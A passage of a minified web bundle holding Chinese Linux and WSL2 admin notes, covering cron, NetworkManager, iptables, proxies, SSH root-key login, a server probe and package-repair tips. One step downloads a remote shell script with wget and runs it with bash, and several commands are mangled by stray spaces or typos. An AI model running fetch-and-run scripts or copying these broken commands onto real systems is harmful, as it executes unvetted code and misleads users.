如果 5 日是星期六,则将在最近的工作日:星期五,即 4 日触发。 如果 5 日是星期天,则在 6 日(周一)触发; 如果 5 日在星期一到星期五中的一天,则就在 5 日触发 W 的最近寻找不会跨过月份 LW 这两个字符可以连用,表示在某个月最后一个工作日,即最后一个星期五。 #
用于确定每个月第几个星期几,只能出现在 DayofWeek 域。例如在 4#2,表示某月的第二个星期三
常用 Cron 表达式 含义 Cron 表达式 周一到周五九点触发 0 9 * * 1-5
每个工作日的 9-19 点之间的每两个小时触发 0 9-19/2 * * 1-5
计算文件占用空间 du
是一个用于统计目录或文件的磁盘使用情况的命令,它的全称是 disk usage。-h
是一个选项,它表示以人类可读的格式显示大小,例如 1K,234M,2G 等。-s
是一个选项,它表示只显示总和,而不显示每个子目录或文件的大小。-m
是一个选项,它表示以兆字节(MB)为单位显示大小。.
是一个参数,它表示当前目录。 网络 NetworkManager `,18),ge={href:"https://zh.wikipedia.org/wiki/NetworkManager",target:"_blank",rel:"noopener noreferrer"},ve={href:"https://wiki.archlinuxcn.org/wiki/NetworkManager?rdfrom=https%3A%2F%2Fwiki.archlinux.org%2Findex.php%3Ftitle%3DNetworkManager_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)%26redirect%3Dno",target:"_blank",rel:"noopener noreferrer"},ke=t(`NetworkManager 是 RedHat 公司在 2004 年发起的项目, 目标是让 Linux 用户能够更容易地处理现代的网络需求
对于旧有的 ifupdown
和 /etc/network/interfaces
配置而言, NetworkManager 提供了一个用户友好的 GUI, 让用户能够更轻松地管理网络连接和配置
列出所有连接
查看特定连接的详细信息
nmcli connection show "连接名称"
+
修改连接属性
nmcli connection modify "连接名称" 属性 值
+
启用/禁用连接
nmcli connection up "连接名称"
+nmcli connection down "连接名称"
+
删除连接
nmcli connection delete "连接名称"
+
除了用命令行操作连接配置外, NetworkManager 也可以通过修改文件并重新加载网络配置
NetworkManager 的配置文件通常存储在 /etc/NetworkManager/system-connections
目录下, 每个连接对应一个配置文件
修改完成后保存, 然后重启网络服务使修改生效:
sudo systemctl restart NetworkManager
+
启用与禁用网卡
+ip link set ensxx down
+ifconfig ensxx down
+
+ip link set ensxx up
+ifconfig ensxx up
+
需要注意的是禁用网卡后相应的路由也会掉, 重新启用后需要重配路由
IP 转换 `,16),fe={href:"https://www.cnblogs.com/ailx10/p/5535943.html",target:"_blank",rel:"noopener noreferrer"},_e=t(`IP 地址分公有地址和私有地址
public address 是由 INIC(internet network information center)负责,这些 ip 地址分配给注册并向 INIC 提出申请的组织机构。通过它访问 internet
private address 是属于非注册地址,专门为组织内部使用;
private ip address 是不可能直接用来跟 WAN 通信的,要么利用帧来通信(FRE 帧中继,HDLC,PPP),要么需要路由的 NAT 功能把私有地址转换为一个公有 ip
选择一台电脑(有两个网卡或者用单网卡然后用软件虚拟多一个网卡)充当网关,一个网卡(eth0)连接外网 ISP,另一网卡(eth1)连接内网(即局域网)。局域网内的 ip 地址都是私用地址,只能在内部使用,在公网上是不可见的,所以局域网电脑要上网必须修改 ip,这就是网关的工作。
工作原理:
内网主机向公网发送数据包时,由于目的主机跟源主机不在同一网段,所以数据包暂时发往内网默认网关处理,而本网段的主机对此数据包不做任何回应。
由于源主机 ip 是私有的,禁止在公网使用,所以必须将数据包的源发送地址修改成公网上的可用 ip,这就是网关收到数据包之后首先要做的工作--ip 转换。
然后网关再把数据包发往目的主机。目的主机收到数据包之后,只认为这是网关发送的请求,并不知道内网主机的存在,也没必要知道,目的主机处理完请求,把回应信息发还给网关。网关收到后,将目的主机发还的数据包的目的 ip 地址修改为发出请求的内网主机的 ip 地址,并将其发给内网主机。这就是网关的第二个工作--数据包的路由转发。
内网的主机只要查看数据包的目的 ip 与发送请求的源主机 ip 地址相同,就会回应,这就完成了一次请求。
出于安全考虑,Linux 系统默认是禁止数据包转发的。所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的 ip 地址将包发往本机另一网卡,该网卡根据路由表继续发送数据包。这通常就是路由器所要实现的功能。 配置 Linux 系统的 ip 转发功能,首先保证硬件连通,然后打开系统的转发功能
less /proc/sys/net/ipv4/ip_forward
+
`,6),xe={href:"https://www.runoob.com/linux/linux-comm-less.html",target:"_blank",rel:"noopener noreferrer"},Ee=e("p",null,"less 与 more 类似,less 可以随意浏览文件,支持翻页和搜索,支持向上翻页和向下翻页。",-1),ye=t(`该文件内容为 0,表示禁止数据包转发,1 表示允许,将其修改为 1。可使用命令
echo "1" > /proc/sys/net/ipv4/ip_forward
+
修改文件内容,重启网络服务或主机后效果不再。
若要其自动执行,可将命令 echo "1" > /proc/sys/net/ipv4/ip_forward
写入脚本 /etc/rc.d/rc.local
或者 在 /etc/sysconfig/network
脚本中添加 FORWARD_IPV4="YES"
防火墙 iptables `,7),we={href:"https://www.cnblogs.com/sparkdev/p/9340924.html",target:"_blank",rel:"noopener noreferrer"},Be=t(`iptables 是 Linux 管理员用来设置 IPv4 数据包过滤条件和 NAT 的命令行工具。iptables 工具运行在用户态,主要是设置各种规则。而 netfilter 则运行在内核态,执行那些设置好的规则。
添加规则 我们可以通过规则来匹配数据包,具体的匹配条件包括 IP、网段、网络接口(interface)和传输协议(tcp、udp 等)。 添加规则的命令格式如下:
iptables [ -AI chain] [ -io interface] [ -p 协议] [ -s 来源 IP] [ -d 目标 IP] -j [ ACCEPT,DROP,REJECT,LOG]
+
-A
:针对某个规则链添加一条规则,新添加的规则排在现有规则的后面。 -I
:针对某个规则链插入一条规则,可以为新插入的规则指定在链中的序号。如果不指定序号,则新的规则会变成第一条规则。 -i
:指定数据包进入的那个网络接口,比如 eth0、lo 等,需要与 INPUT 链配合使用。 -o
: 指定传出数据包的那个网络接口,需要与 OUTPUT 链配合使用。 -p
: 指定此规则适用于那种网络协议(常用的协议有 tcp、udp、icmp,all 指适用于所有的协议)。 -s
:指定数据包的来源 IP/网段,可以指定单个 IP,如 192.168.1.100,也可以指定一个网段,如 192.168.1.0/24。还可以通过 !表示非的意思,如 ! 192.168.1.0/24 表示除了 192.168.1.0/24 之外的数据包。 -d
:指定数据包的目标 IP/网段,其它与 -s 选项相同。 -j
:指定匹配成功后的行为,主要有 ACCEPT、DROP、REJECT 和 LOG。
代理 `,8),Ae=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# shell 中临时设置(若需要永久设置则写到 ~/.bashrc 中即可)"),n(`
+`),e("span",{class:"token builtin class-name"},"export"),n(),e("span",{class:"token assign-left variable"},"http_proxy"),e("span",{class:"token operator"},"="),n(`http://127.0.0.1:7890
+`),e("span",{class:"token builtin class-name"},"export"),n(),e("span",{class:"token assign-left variable"},"https_proxy"),e("span",{class:"token operator"},"="),n(`http://127.0.0.1:7890
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),Se=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202309051040864.png",alt:"image-20230905104050714"})],-1),qe=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# 下掉 proxy:"),n(`
+`),e("span",{class:"token builtin class-name"},"unset"),n(` http_proxy
+`),e("span",{class:"token builtin class-name"},"unset"),n(` https_proxy
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),De=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202309051059445.png",alt:"image-20230905105927377"})],-1),Ce=e("p",null,[n("安装 "),e("code",null,"proxychains")],-1),Le=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(` proxychains
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"})])],-1),Ne=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202309051029806.png",alt:"image-20230905102950537"})],-1),Fe=e("p",null,[n("打开上述报错中提到的 Config File, 编辑 "),e("code",null,"[ProxyList]"),n(" 属性为需要配置的代理")],-1),ze=e("div",{class:"language-properties line-numbers-mode","data-ext":"properties"},[e("pre",{class:"language-properties"},[e("code",null,[n(`[ProxyList]
+`),e("span",{class:"token comment"},"# add proxy here ..."),n(`
+`),e("span",{class:"token comment"},"# meanwile"),n(`
+`),e("span",{class:"token comment"},'# defaults set to "tor"'),n(`
+`),e("span",{class:"token key attr-name"},"socks5"),n(),e("span",{class:"token value attr-value"}," 127.0.0.1 7890"),n(`
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),We=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202309051037143.png",alt:"image-20230905103741065"})],-1),Pe=e("p",null,[n("然后在需要使用代理的命令前加上 "),e("code",null,"proxychains"),n(" 即可使用")],-1),Ue=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202309051038312.png",alt:"image-20230905103831201"})],-1),He=e("hr",null,null,-1),je=e("h2",{id:"wsl2",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#wsl2","aria-hidden":"true"},"#"),n(" WSL2")],-1),Ie=e("hr",null,null,-1),Me=e("h3",{id:"安装",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#安装","aria-hidden":"true"},"#"),n(" 安装")],-1),Te={href:"https://learn.microsoft.com/zh-cn/windows/wsl/install",target:"_blank",rel:"noopener noreferrer"},Re={href:"https://learn.microsoft.com/zh-cn/windows/wsl/install-manual#step-3---enable-virtual-machine-feature",target:"_blank",rel:"noopener noreferrer"},Ve={href:"https://blog.csdn.net/qq_18625805/article/details/109732122",target:"_blank",rel:"noopener noreferrer"},Ge=e("hr",null,null,-1),Oe={href:"https://learn.microsoft.com/zh-cn/windows/wsl/troubleshooting#error-0x80370102-the-virtual-machine-could-not-be-started-because-a-required-feature-is-not-installed",target:"_blank",rel:"noopener noreferrer"},Xe=t(`以管理员身份打开 PowerShell 并运行:
dism. exe / online / enable-feature / featurename:VirtualMachinePlatform / all / norestart
+
重新启动 计算机,以完成 WSL 安装并更新到 WSL 2。
下载 Linux 内核更新包并安装
`,5),$e={href:"https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi",target:"_blank",rel:"noopener noreferrer"},Ye={href:"https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_arm64.msi",target:"_blank",rel:"noopener noreferrer"},Ke=e("code",null,'systeminfo | find "System Type"',-1),Ze=e("strong",null,"Caveat:",-1),Je=e("code",null,`systeminfo | find '"Systemtyp"'`,-1),Qe=t(`Windows+X
选择以管理员模式打开 Powershell, 执行如下命令安装 wsl2
wsl -- install - d kali-linux
+
按照提示新建账户密码即可
卸载 `,8),en={href:"https://zhuanlan.zhihu.com/p/487091950",target:"_blank",rel:"noopener noreferrer"},nn=e("hr",null,null,-1),sn=t(`wslconfig / u kali-linux
+
VSCode-ssh-remote 使用 SSH-remote 插件连上 WSL 后如果不是以 root 用户登入的话,会在一些系统目录(如 /etc
, /dev
, /root
等)被限制编辑与增删, 不过在用户目录(如 /ubuntu
, /mnt
)的权限是足够的
如果想要登入后可以编辑系统目录文件的话就要使用 root
用户登录, 但是 remote-ssh 虽然对于 SSH Targets
有配置文件可以编辑登入用户, 但是没有关于 WSL Targets
的配置, 那么这就需要在更高的层级编辑默认以 root
身份登入 WSL
`,5),an={href:"https://github.com/microsoft/vscode-remote-release/issues/3631",target:"_blank",rel:"noopener noreferrer"},tn={href:"https://docs.microsoft.com/en-us/windows/wsl/wsl-config#change-the-default-user-for-a-distribution",target:"_blank",rel:"noopener noreferrer"},ln={href:"https://www.cnblogs.com/Hiro666/p/14119763.html",target:"_blank",rel:"noopener noreferrer"},on=t(`首先查看下当前出问题的 WSL Distribution
版本win+x
打开 Windows Terminal
, 输入如下命令查看所有的 WSL Distribution
:
其实在 Remote-ssh - WSL Targets
目录下就可以看到当前的 WSL Distribution
确认当前的 WSL Distribution
后在 Windows Terminal
中输入
< DistributionName> config --default-user < Username>
+
就可以将 WSL Distribution
为 DistributionName
的 WSL
的默认登录用户切换为 Username
, 如:
需要注意的是, 虽然看到的 Distribution
为 Ubuntu-20.04
, 但是输入命令时要写成 ubuntu2004
相应的看到的是 kali-linux
, 但是输入命令时要用 kali
再打开相应 WSL
时就可以看到用户已经切换到相应设置的用户了
再用 VSCode-SSH-remote 连接 WSL 时可以看到登入用户已经切换成刚才配置的用户了, 当切换的是 root 用户时, 此时就可以使用 VSCode 新建及编辑系统目录下的文件了
端口映射 正常情况下直接从本机 telnet wsl2 的端口是不通的, 需要映射 wsl2 端口到本机
`,3),rn={href:"https://blog.csdn.net/keyiis_sh/article/details/113819244",target:"_blank",rel:"noopener noreferrer"},cn=t(`
+netstat - aon | findstr "9225"
+
+
+
+netsh interface portproxy add v4tov4 listenport=9225 listenaddress=0. 0. 0. 0 connectport=69 connectaddress=172. 29. 61. 202
+
+netsh interface portproxy show all
+
+netsh interface portproxy delete v4tov4 listenport=9225 listenaddress=0. 0. 0. 0
+
WSL2 DNS 服务异常 无法正确解析域名, 直接 ping ip 可以 ping 通, 排查了一圈发现主网也 ping 不通
`,11),dn={href:"https://blog.csdn.net/daihaoxin/article/details/115978662",target:"_blank",rel:"noopener noreferrer"},pn=t('
配置主网防火墙入站规则
规则类型: 自定义 程序: 所有程序 协议和端口: 默认值不做改动 作用域: 此规则适用于哪些本地 IP 地址?: 下列 IP 地址 -> 添加 -> 此 ip 地址或子网: 172.22.0.0/20
操作: 允许连接 配置文件: 全选 名称自定义 然后在 WSL2 里重新 ping 主网又能 ping 通了, DNS 也正常了, 可以 ping 同其他域名了
缺点在于计算机重启后 WSL2 主网地址可能会变( 需要再配下防火墙 挺秃然的, 没有完全搞清楚原理, 无法一劳永逸地解决这个问题
报错收集 ',8),un={href:"https://xiabee.cn/coding/wsl2/",target:"_blank",rel:"noopener noreferrer"},hn={href:"https://www.jianshu.com/p/ba2cf239ebe0",target:"_blank",rel:"noopener noreferrer"},mn=e("hr",null,null,-1),bn=e("h4",{id:"ssh-拒绝",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#ssh-拒绝","aria-hidden":"true"},"#"),n(" ssh 拒绝")],-1),gn=e("p",null,[e("code",null,"ssh: connect to host localhost port 22: Connection refused")],-1),vn={href:"https://blog.csdn.net/hxc2101/article/details/113617870",target:"_blank",rel:"noopener noreferrer"},kn=t(`打开 /etc/ssh/sshd_config
将监听地址 localhost 取消注释:
然后重启 ssh 服务
mark 下这句 ssh 服务重启指令 , ssh localhost 能够正常运行后如果 WSL2 关闭重启了再 ssh localhost
可能还会 Connection refused
, 这时只要再 service ssh restart
然后 ssh localhost
就可以了
ping 的通 ip , ping 不通域名 dns 解析错误
修改 /etc/resolv.conf
文件
服务器 远程连接服务器 remote-SSH 先在控制台生成并绑定密钥(本地密钥妥善保管), 然后再重置 root
密码
>
`,18),fn={href:"https://cloud.tencent.com/document/product/1207/44575",target:"_blank",rel:"noopener noreferrer"},_n=t(`打开 VSCode Remote-SSH 插件配置项
Host Ubuntu
+ HostName 公网ip
+ User ubuntu
+ IdentityFile "本地密钥路径"
+
+Host CentOS
+ HostName 公网ip
+ User root
+ IdentityFile "本地密钥路径"
+
`,2),xn={href:"https://cloud.tencent.com/document/product/1207/44569#ubuntu-.E7.B3.BB.E7.BB.9F.E5.A6.82.E4.BD.95.E4.BD.BF.E7.94.A8-root-.E7.94.A8.E6.88.B7.E7.99.BB.E5.BD.95.E5.AE.9E.E4.BE.8B.EF.BC.9F",target:"_blank",rel:"noopener noreferrer"},En=t("腾讯云启用 root 密码登录后将 remote-ssh
配置项中对应 User
改为 root
后进行远程连接即可使用 root 密码
登录到服务器 CentOS
的话直接使用 root
和 密钥
的配置就可以自动登录到 root 账户
",2),yn=e("code",null,"腾讯云(ubuntu)",-1),wn=e("code",null,"ubuntu",-1),Bn=e("code",null,"root + 密钥",-1),An=e("code",null,"root",-1),Sn=e("code",null,"root",-1),qn=t(`cat /home/ubuntu/.ssh/authorized_keys > /root/.ssh/authorized_keys
+
`,1),Dn={href:"https://blog.csdn.net/weixin_39591031/article/details/118700963",target:"_blank",rel:"noopener noreferrer"},Cn=e("li",null,[e("code",null,"阿里云"),n(" 和 "),e("code",null,"UCLOUD"),n(" 默认是支持 "),e("code",null,"root + 密钥"),n("登录的")],-1),Ln={href:"https://www.cnblogs.com/peida/archive/2012/10/30/2746968.html",target:"_blank",rel:"noopener noreferrer"},Nn=t('',1),Fn=t(` 文件下载 VSCode
连接到服务器确实可以在左栏 资源管理器
处选择文件(夹)右键下载, 不过服务器带宽小的话很容易断连Xshell + Xftp
正版要付费且没必要为了下载个文件就多装一个软件专门做这件事所以考虑直接使用 Linux scp 命令
进行下载 scp
命令无法识别 Windows 目录
, 所以要采用一些方式来将 Windows 目录
转化成 Linux 目录
,WSL
可以做到这点
Windows + X
打开 Windows 终端
, 随便选择安装了的一个 ubuntu 发行版
进入后可以看到当前命令行所在目录 /mnt/c/Users/233
, 对应 Windows
的 C:/Users/233 目录
然后使用如下命令将服务器文件下载到本地:
scp [ user] @[ ip] :[ Linux 服务器上目标文件的路径] [ 指定下载到windows本地的路径]
+
下载文件夹:
scp -r [ user] @[ ip] :[ Linux 服务器上目标文件的路径] [ 指定下载到windows本地的路径]
+
`,14),zn={href:"https://blog.csdn.net/fakerswe/article/details/103178542",target:"_blank",rel:"noopener noreferrer"},Wn=e("code",null,"git bash",-1),Pn=e("code",null,"ssh 命令",-1),Un=e("hr",null,null,-1),Hn=e("h3",{id:"腾讯云轻量",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#腾讯云轻量","aria-hidden":"true"},"#"),n(" 腾讯云轻量")],-1),jn=e("hr",null,null,-1),In={href:"https://cloud.tencent.com/act/new?from=14615",target:"_blank",rel:"noopener noreferrer"},Mn=e("em",null,"云服务器秒杀",-1),Tn=e("hr",null,null,-1),Rn=e("h4",{id:"内网-dns",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#内网-dns","aria-hidden":"true"},"#"),n(" 内网 DNS")],-1),Vn=e("p",null,[n("yum 命令报错: "),e("code",null,"Could not resolve host: mirrors.tencentyun.com; Unknown error")],-1),Gn={href:"https://blog.csdn.net/user2025/article/details/107733068",target:"_blank",rel:"noopener noreferrer"},On=e("p",null,[n("原因:腾讯云服务器内网 yum 源的域名 mirrors.tencentyun.com 需要有内网的 DNS 才能访问,但是实际情况下,我们会根据需要修改 DNS,为了使用腾讯云内网快速稳定的内网源,我们需要把 DNS 恢复为内网 DNS,下面为各地区服务器 DNS 地址 解决办法: (1)修改服务器的 DNS 配置文件:"),e("code",null,"/etc/resolv.conf"),n(" ,请参阅如下文档添加对应地区的内网 DNS 服务器")],-1),Xn={href:"https://cloud.tencent.com/document/product/213/5225",target:"_blank",rel:"noopener noreferrer"},$n=t(`我用的上海地域的轻量, 配上海或者上海金融的 DNS 都不对, 最后无奈重置实例才发现原来应该配最后一个所有地域的那个 DNS
(2)重启网络服务
+/etc/init.d/network restart
+
+systemctl restart network
+
`,3),Yn=e("hr",null,null,-1),Kn=e("h4",{id:"使用密钥登录到-root-账户",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#使用密钥登录到-root-账户","aria-hidden":"true"},"#"),n(" 使用密钥登录到 root 账户")],-1),Zn={href:"https://blog.csdn.net/weixin_39591031/article/details/118700963",target:"_blank",rel:"noopener noreferrer"},Jn=t(`腾讯云的 ubuntu
系统, 生成密钥后绑定服务器默认会绑定在 ubuntu
用户下, 若要通过密钥登录到 root
用户则需要将 ubuntu
用户下的密钥复制到 root
用户下:cat /home/ubuntu/.ssh/authorized_keys > /root/.ssh/authorized_keys
+
然后就可以使用密钥登录到 root
用户了 探针 `,3),Qn={href:"https://github.com/CokeMine/ServerStatus-Hotaru",target:"_blank",rel:"noopener noreferrer"},es=t(`在连不上 GitHub 时使用方式
Coding 目前好像是需要登录才能下载, 仓库提供的默认脚本使用 coding 会拉不下来仓库, 所以还是用 github
将源仓库中的 github 相关链接换成了 GitHub Proxy 对应链接, 于是有了下文中的脚本
在客户端进行相应配置(与服务端刚才设置的节点信息一致即可)
+
+wget https://cdn.ayusummer233.top/shell/status.sh
+bash status.sh c
+
若客户端为 windows 则需要手动用 Python 跑下
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
+python get-pip.py
+
+pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple/
+pip install psutil
+
+
+
+python status-psutil.py
+
cmd 在快速编辑模式下运行命令时, 若用户鼠标点击到窗口区域可能会引起程序阻塞, 可以将其点掉
快速编辑模式是一种很便捷的操作方式:左键选中,右键复制以及右键从剪贴板粘贴内容等 如果鼠标选中控制台界面上的内容,控制台就被阻塞了 在 Windows Server 2012 及 Windowns 8 以上,控制台窗口的程序默认是打开“快速编辑模式”的开关的。
窗口工具 Zellij `,14),ns={href:"https://zellij.dev/",target:"_blank",rel:"noopener noreferrer"},ss=e("h4",{id:"安装-1",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#安装-1","aria-hidden":"true"},"#"),n(" 安装")],-1),as={href:"https://blog.csdn.net/qq_43474959/article/details/115028848",target:"_blank",rel:"noopener noreferrer"},ts={href:"https://zellij.dev/documentation/installation.html",target:"_blank",rel:"noopener noreferrer"},ls={href:"https://zellij.dev/",target:"_blank",rel:"noopener noreferrer"},is=t(`位置选定在自己想要安装 zellij 位置
解压:
tar -xvf zellij-x86_64-unknown-linux-musl.tar.gz
+
添加执行权限:
运行 zellij
:
将 zellij
所在目录添加到 PATH
变量中以在任何地方使用 zellij
:
打开 /root/.bashrc
在末尾加上如下内容:
export PATH = "/home/ubuntu/zellij:$PATH "
+
若已经有了其他的环境变量, 请使用 :
将此条拼接在前面
然后:
然后就可以在任意位置使用 zellij
命令来启用 zellij
了
使用 新建一个session
新建一个 Tab
: ctrl + t, n
重命名 Tab
: ctrl + t, r
新建一个 pane
: ctrl + p, n
重命名 pane
: Ctrl + p, c
detach session: ctrl + o, d
关闭 session: Ctrl + q
界面底部有提示, 很友好:
显示 session 列表: zellij list-sessions
或者 zellij ls
返回某个 session: zellij attach xxx
或者 zellij a xxx
Screen 命令 Linux screen 命令用于多重视窗管理程序。
screen 为多重视窗管理程序。此处所谓的视窗,是指一个全屏幕的文字模式画面。通常只有在使用 telnet 登入主机或是使用老式的终端机时,才有可能用到 screen 程序。
语法 screen [-AmRvx -ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s <shell>][-S <作业名称>]
+
参数说明 :
-A
将所有的视窗都调整为目前终端机的大小。-d<作业名称>
将指定的 screen 作业离线。-h<行数>
指定视窗的缓冲区行数。-m
即使目前已在作业中的 screen 作业,仍强制建立新的 screen 作业。-r<作业名称>
: 恢复离线的 screen 作业。-R
先试图恢复离线的作业。若找不到离线的作业,即建立新的 screen 作业。-s<shell> <视窗名>
:指定建立新视窗时,所要执行的 shell。-S<作业名称>
:指定 screen 作业的名称。-v
显示版本信息。-x
恢复之前离线的 screen 作业。-ls或--list
显示目前所有的 screen 作业。-wipe
检查目前所有的 screen 作业,并删除已经无法使用的 screen 作业。在 screen 终端 下 按下 Ctrl+a d
键 可以离开 screen 作业
软件 Firefox `,42),os={href:"https://support.mozilla.org/zh-CN/kb/linux-firefox#w_cong-fa-xing-ban-ti-gong-de-bao-an-zhuang-tui-jian",target:"_blank",rel:"noopener noreferrer"},rs=e("hr",null,null,-1),cs={href:"https://www.mozilla.org/firefox/linux/?utm_medium=referral&utm_source=support.mozilla.org",target:"_blank",rel:"noopener noreferrer"},ds=e("li",null,[e("p",null,[n("打开一个"),e("strong",null,"终端"),n(",转到下载 Firefox 的目录,比如")])],-1),ps=t('将下载文件的内容解压缩: tar xjf firefox-\\*.tar.bz2
以下命令必须以 root 身份执行,或以 sudo
开头。
将解压的 Firefox 目录移到 /opt : 创建一个指向 Firefox 可执行文件的 symlink: ln -s /opt/firefox/firefox /usr/local/bin/firefox
下载一个 desktop 文件: wget https://ghproxy.com/https://raw.githubusercontent.com/mozilla/sumo-kb/main/install-firefox-linux/firefox.desktop -P /usr/local/share/applications
如果,没有安装 wget
,那么你可以右击以上链接,打开弹出菜单并选择 另存为。下载好文件之后,把它放到 /usr/local/share/applications 。
',11),us={href:"https://support.mozilla.org/zh-CN/kb/%E4%BD%BF%E7%94%A8%E6%95%85%E9%9A%9C%E6%8E%92%E9%99%A4%E4%BF%A1%E6%81%AF%E9%A1%B5%E9%9D%A2%E6%9D%A5%E5%B8%AE%E5%8A%A9%E8%A7%A3%E5%86%B3Firefox%E7%9A%84%E9%97%AE%E9%A2%98",target:"_blank",rel:"noopener noreferrer"},hs=e("em",null,"应用基础",-1),ms=e("code",null,"/opt/firefox/firefox-bin",-1),bs=e("hr",null,null,-1),gs=e("h3",{id:"微信",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#微信","aria-hidden":"true"},"#"),n(" 微信")],-1),vs={href:"https://zhuanlan.zhihu.com/p/413646220",target:"_blank",rel:"noopener noreferrer"},ks={href:"https://blog.csdn.net/m0_50502579/article/details/126096484",target:"_blank",rel:"noopener noreferrer"},fs=e("hr",null,null,-1),_s=t(`安装 kylin.wine 封装版的微信
与 deepin 一样,ubuntukylin(优麒麟)系统也第三方封装的 ubuntu。
+wget http://archive.ubuntukylin.com/software/pool/partner/ukylin-wine_70.6.3.25_amd64.deb
+
+wget http://archive.ubuntukylin.com/software/pool/partner/ukylin-wechat_3.0.0_amd64.deb
+
+sudo apt-get install -f -y ./ukylin-wine_70.6.3.25_amd64.deb
+sudo apt-get install -f -y ./ukylin-wechat_3.0.0_amd64.deb
+
然后就可以在应用程序页面最后看到微信的图标了
常见问题 the root filesystem require a manual fsck `,7),xs={href:"https://askubuntu.com/questions/885062/root-file-system-requires-manual-fsck",target:"_blank",rel:"noopener noreferrer"},Es=t(`
fask -tf /dev/mapper/ubuntu--vg-root
+exit
+
`,2),ys={href:"https://commandnotfound.cn/linux/1/451/fsck-%E5%91%BD%E4%BB%A4",target:"_blank",rel:"noopener noreferrer"},ws=e("ul",null,[e("li",null,[e("code",null,"-y"),n(": 确认所有的 yes/no 选项")]),e("li",null,[e("code",null,"-f"),n(": (force) 尽管目录被标记为 clean 也强制检查")])],-1),Bs=t(`执行 dpkg --configure -a
以修复
若执行后出现
dpkg: error: parsing file '/var/lib/dpkg/updates/0000' near line 0 :
+ newline in field name '▒v▒▒'
+
则
sudo rm /var/lib/dpkg/updates/*
+
即可
E: Sub-process /usr/bin/dpkg returned an error code (1)
`,11),As={href:"https://blog.csdn.net/stickmangod/article/details/85316142",target:"_blank",rel:"noopener noreferrer"},Ss=e("hr",null,null,-1),qs=e("h2",{id:"game",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#game","aria-hidden":"true"},"#"),n(" game")],-1),Ds=e("h3",{id:"手游相关",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#手游相关","aria-hidden":"true"},"#"),n(" 手游相关")],-1),Cs={href:"https://b.hui.ke/posts/build-redroid/",target:"_blank",rel:"noopener noreferrer"},Ls=e("br",null,null,-1),Ns={href:"https://github.com/remote-android/redroid-doc",target:"_blank",rel:"noopener noreferrer"},Fs=e("hr",null,null,-1),zs=e("h2",{id:"ubuntu-安装邮件服务器-todo-校验有问题且暂时不打算用-已搁置",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#ubuntu-安装邮件服务器-todo-校验有问题且暂时不打算用-已搁置","aria-hidden":"true"},"#"),n(" Ubuntu 安装邮件服务器(TODO - 校验有问题且暂时不打算用, 已搁置)")],-1),Ws={href:"https://www.jianshu.com/p/f438aa21069e",target:"_blank",rel:"noopener noreferrer"},Ps={href:"http://www.postfix.org/",target:"_blank",rel:"noopener noreferrer"},Us={href:"http://www.tomato.cm/1267.html",target:"_blank",rel:"noopener noreferrer"},Hs=e("hr",null,null,-1),js=e("p",null,[n("Postifx 是 "),e("code",null,"Wietse Venema"),n(" 在 IBM 的\\ GPL 协议之下开发的 "),e("code",null,"MTA"),n("(邮件传输代理)软件。是 Wietse Venema 想要为使用最广泛的 sendmail 提供替代品的一个尝试, 是一个 SMTP 服务器")],-1);function Is(Ms,Ts){const a=r("ExternalLinkIcon"),c=r("Tabs");return p(),u("div",null,[m,e("blockquote",null,[e("p",null,[e("a",b,[n("Ubuntu | 对 sources.list 的总结 - 简书 (jianshu.com)"),s(a)])]),e("p",null,[e("a",g,[n("详解 Ubuntu 的 source.list 文件_VinQin 的博客-CSDN 博客_sourcelist"),s(a)])])]),v,e("blockquote",null,[e("p",null,[e("a",k,[n("vim - Ubuntu 20.04 Desktop 换源的两种方法_个人文章 - SegmentFault 思否"),s(a)])])]),f,e("blockquote",null,[e("p",null,[e("a",_,[n("Bash 编程入门-1:Shell 与 Bash - 知乎 (zhihu.com)"),s(a)])])]),x,e("blockquote",null,[e("p",null,[e("a",E,[n("Shell(Bash)单引号、双引号和反引号用法详解 (biancheng.net)"),s(a)])])]),y,e("ul",null,[e("li",null,[w,e("blockquote",null,[e("p",null,[e("a",B,[n("Difference between locate and mlocate - Unix & Linux Stack Exchange"),s(a)])]),A]),S])]),q,e("blockquote",null,[e("p",null,[e("a",D,[n("谁动了我的 Linux?原来 history 可以这么强大! - 知乎 (zhihu.com)"),s(a)])])]),C,e("blockquote",null,[e("p",null,[e("a",L,[n("如何在 